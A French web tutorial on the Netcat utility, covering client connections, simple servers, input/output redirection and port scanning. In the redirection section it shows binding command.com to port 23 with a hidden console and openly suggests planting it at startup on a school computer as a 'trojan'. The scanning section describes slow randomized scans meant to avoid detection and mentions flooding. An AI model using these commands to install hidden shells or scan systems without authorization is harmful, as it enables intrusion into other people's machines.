Vous êtes ici : Accueil » Articles » Réseau
>>Netcat
Sommaire - Présentation PrésentationNetCat est un célèbre utilitaire en ligne de commande, qui permet de faire à peu près tout ce que vous voulez avec des sockets. Un socket est une connection entre 2 ordinateurs. Pour identifier un socket, il vous faut 3 informations :
Par exemple, quand je suis sur IRC sur #iga, mon mIRC utilise un socket entre mon IP (ex:165.169.45.12)+un port temporaire (ex:1035) et l’IP du serveur (antwerpen.be.eu.undernet.org)+le port du serveur (6667). Et le type de connection est de type TCP dans ce cas-là. Les avantages de NetCat ?Il permet d’ouvrir facilement des connections quelconques (TCP ou UDP) aussi bien pour créer des petits clients/serveurs, que pour tester un programme à vous. Il existe sur plusieurs systèmes (Windows 95/98,NT,Linux,Unix,...) Il est utilisable à la ligne de commande, ce qui va permettre de facilement l’incorporer dans des scripts, etc...Enfin, vous pouvez aussi remarquer que toutes les sources sont disponibles...Aussi bien dans la version Unix (assez habituel ;), quand dans la version Windows. En fait, c’est vraiment un programme à tout faire... Netcat clientPour ouvrir un socket, rien de plus simple. Par exemple, je veux me connecter sur IRC. Je lance le gestionnaire MS-Dos en faisant Demarrer > Executer ’cmd’ ou bien ’command’. Rejoignez le repertoire ou est installé Netcat et tapez c:\netstat\nc oslo.no.eu.undernet.org 6667 Et je me retrouve connecté sur le serveur undernet ! Tout ce que vous taperez ensuite au clavier sera envoyé directemment dans le socket, vers oslo.undernet. NetCat permet tout simplement de gérer un socket. D’envoyer... De recevoir... Pas plus... Ca veut dire qu’il ne connait aucun protocole comme IRC,FTP,etc... Mais ca veut dire aussi qu’il nous affiche exactemment ce qui transit, il n’effectue aucun traitement, et il envoie exactemment ce que l’on veut qu’il envoie. A propos de Telnet, NetCat vous permet d’émuler la négociation telnet. Ca veut dire que NetCat vous permet d’émuler un client comme Telnet Pour cela, pas compliqué : nc -t 412 > wingate.log nc -L -p 3024 > wingate.log Et voilà... Cette fois ci, plus de problèmes, toute la négociation telnet est faite par NetCat. Et vous voyez en plus ce qu’il envoie. N’est-ce pas merveilleux ? Netcat serveurMaintenant nous allons essayer de faire un petit serveur. Par exemple, nous allons ouvrir sur notre machine le port 21 NETCAT -l -p 23
On observe que notre client telnet se connecte bien sur notre petit serveur... Mais rien de bien concluant. Maintenant, on tape dans NetCat une petite phrase, et magiquement, cette petite phrase apparaît dans le client Telnet. Tant qu’on y est, on tape une petite phrase dans le client Telnet, et... rien n’apparait. Par contre, en allant voir dans l’écran de NetCat, le serveur a bien recu notre phrase. Maintenant il suffit de déconnecter le client Telnet pour voir NetCat se couper. Il serait preferable que Netcat ne se coupe pas après une deconnexion. Pour cela, il existe une autre commmande : nc -L -p 23 le "-L" annonce à NetCat qu’il doit rester en veille et attendre des connections. Un autre exemple : Nous allons lancer Netcat sur notre propre port 80 nc -l -p 80 Puis, lancons un navigateur Internet (IE/Netscape/Opera) à l’adresse "http://127.0.0.1". Retournons dans NetCat, et on voit apparaitre une serie d’infos. Ces infos sont envoyés par le navigateur à un serveur (ici Netcat). Get / HTTP/1.1 User-Agent: Opera/7.0 (Windows XP) [en]) Host: 127.0.0.1 Accept: text/html, image/png, image/jpeg, image/gif... Accept-Language: en Accept-Charset:... Redirection entrées/sortiesL’intérêt de NetCat est qu’on va pouvoir facilemment le programmer et l’utiliser dans des petits scripts (aussi bien un batch sous Linux qu’un .bat sous Dos/Windows). Nous allons créer dans le repertoire Netcat un petit fichier wingate.txt, qui contient la ligne suivante : wingate> Ouvrons une fenetre Ms-Dos et lancons la commande suivante : nc -L -p 23 < bonjour.txt Une fois le Netcat connecté, lancons notre client Telnet. telnet 127.0.0.1 23 Et là, apparait votre texte Si nous voulons faire le contraire et logger tout ce qui est tapé ? Il suffit de taper ceci : nc -L -p 23 > netcat.log Et le tour est joué. Tout ce qui a été tapé dans le telnet a été enrigistré ds netcat.log. Passons à l’etape suivante et essayons de programmer un petit serveur qui va nous permettre de contrôler notre ordi à distance. NetCat permet les redirections à partir d’un fichier, en entrée, et en sortie. Mais NetCat permet aussi de rediriger les entrées et sorties d’un programme vers un socket Lancons plutôt : nc -L -p 23 -e c:\command.com Ensuite, nous lancons "telnet 127.0.0.1 23". Et voilà que notre command.com est executé. Vous auriez pu lancer un fichier .bat par ex. Donc en réfléchissant bien, si vous savez programmer en GWBasic, et que vous savez utiliser les commandes PRINT et INPUT, vous allez sans problème pouvoir créer un beau petit shell pour votre Windows. En fait, grâce à cette option, si vous savez programmer un programme qui utilise les interfaces standard d’entrée/sortie (en Pascal, en C,...), vous n’avez plus du tout à vous occuper de la programmation des sockets !!! NetCat s’occupe de tout gérer via un socket. Encore une petite option intéressante, mais uniquement pour Windows. Ca vous tenterait hein d’installer un beau petit shell comme ca sur un ordi dans votre école hein ? hehehe. Je le voit dans vos yeux :) Tapez un ti peu : nc -L -p 23 -d -e c:\command.com Et voilà qu’il sort tout de suite ! Lancons tout de même Telnet, et voilà qu’il est connecté !!! L’option -d détache simplement NetCat de la console, ce qui fait qu’il reste actif en mémoire (on le voit dans la liste des tâches Ctrl+Alt+Suppr), mais pas dans la liste des fenêtres.Pour faire un beau pti trojan sur un ordi, suffit donc de lancer cette commande au démarrage, et un beau serveur s’installe tranquillement sur le port 23 sans rien montrer à personne :) ScanningNetCat contient toute une série d’options qui sont orientée pour le scanning. Scanner sert avant tout à connaitre les ports ouverts d’une machine distante, donc les services actifs. Pour cela c’est pas compliqué. En fait, il suffit de taper une série de ports. Par exemple, si on tape 1-100, NetCat va ouvrir des connections sur les ports de 1 à 100. Mail il ne nous indique pas lesquels sont ouverts. Il faut donc utiliser l’option -v et même 2x, "-vv", pour avoir des informations sur les connections. Tapons par exemple : nc -vv 127.0.0.1 21-25 Cette commande va scanner les ports 21 à 25 de votre ordinateur en commencant par par la fin. Une fois lancé, vous allez voir que NetCat va afficher les messages "connection refused" sur tous les ports dont la connection est réfusée, et qu’il affiche entre () le service généralement utilisé (que le port soit open ou bien refused). localhost [127.0.0.1] 25 open localhost [127.0.0.1] 24 : connection refused localhost [127.0.0.1] 23 : connection refused localhost [127.0.0.1] 22 : connection refused localhost [127.0.0.1] 21 : connection refused Si vous souhaitez scanner les ports mais dans le desordre, il existe une petite option intéressante. Tapez -r. nc -vv -r 127.0.0.1 100-110 On peut également entrer toute une série de ports. nc -vv -r 127.0.0.1 1-1024 4900-5000 6667 NetCat va donc scanner les ports 1 à 1024, puis les ports de 4900 à 5000, et le port 6667. Il est utile de noter que l’option -r travaille par range, c’est à dire que NetCat va scanner au hasard tous les ports 1 à 1024, puis passer au range suivant. En fait, dès que NetCat trouve un port ouvert, il s’arrête, et permet d’envoyer des données à ce port. Pour effectuer un scan rapide, qui ne s’arrête pas si le port est ouvert, il faut utiliser en plus l’option -z. Par exemple : nc -vv -r -z 127.0.0.1 130-140 NetCat supporte également l’envoi à plusieurs ports en parallèle, on pourrait donc l’utiliser pour flooder. Par exemple, on peut taper la commande suivante : nc 127.0.0.1 139 139 139 139 139 139 139 139 139 139 Voilà je pense que c’est à peu près tout au niveau des ports scan,etc... :) ... Autres trucsToutes les options peuvent être aisémment combinée, aussi bien en tant que client, qu’en mode serveur, ou qu’en scannant. Par exemple, on peut ouvrir une connection vers un serveur en spécifiant un port source sur le client bien précis : nc -p 65000 www.antwerpen.be.eu.undernet.org 6667 Dans ce cas-ci, par exemple, ca va permettre au client d’être connecté avec comme port local le port 65000, ce qui est un port tellement haut qu’il faut déjà y aller pour essayer de vous déconnecter, par exemple avec un Click (ICMP Nuke), qui d’habitude attaque les ports d’allocations temporaires, qui généralement sont les ports de 1024 à 5000. NetCat possède une petite option diablement intéressante qui est -u. Cette option permet de créer des sockets UDP à la place de sockets TCP. Il est intéressant de scanner des ports UDP à la place de TCP, en utilisant les options -z et -u. En effet, il n’existe pas beaucoup de bons scanners UDP, mais par contre il existe pas mal de services qui sont implémentés sur des ports UDP ! (DNS,TFTP,...) Il y a aussi une option de time-out, -w. Par exemple nc -w 5 antwerpen.be.eu.undernet.org 6667 va stopper netcat après 5 secondes si la connection n’est pas établie. L’option -i permet de spécifier un délai de scan, pour ne pas scanner trop vite (Ca peut paraitre louche et donc être repérable). Par exemple, pour scanner en etant le plus discret, on peut taper la commande suivante : nc -vv -z -i 10000 -r 127.0.0.1 1-200 Netcat va scanner toutes les 10000 millisecondes (tt les 10 secondes) un port au hasard sur la machine 127.0.0.1, de 1 à 200. Une autre option très intéressante, particulièrement pour debugger des programmes ou analyser des protocoles, est l’option -o. Par exemple, en tapant : nc -o netbios.log 127.0.0.1 139 NetCat va logger dans le fichier netbios.log tous les octets recus, mais sous forme de dump hexadécimal, ce qui est assez pratique. Pour ceux qui connaissent TCP/IP en détail, NetCat contient aussi une option qui permet d’envoyer des packets "source-routed", donc des packets qui sont envoyés via des routers dont on spécifie les IPs, grâce aux options -g et -G.Et enfin, NetCat supporte aussi le choix d’un IP dans le cas d’un ordinateur relié à plusieurs interfaces d’IPs différents. |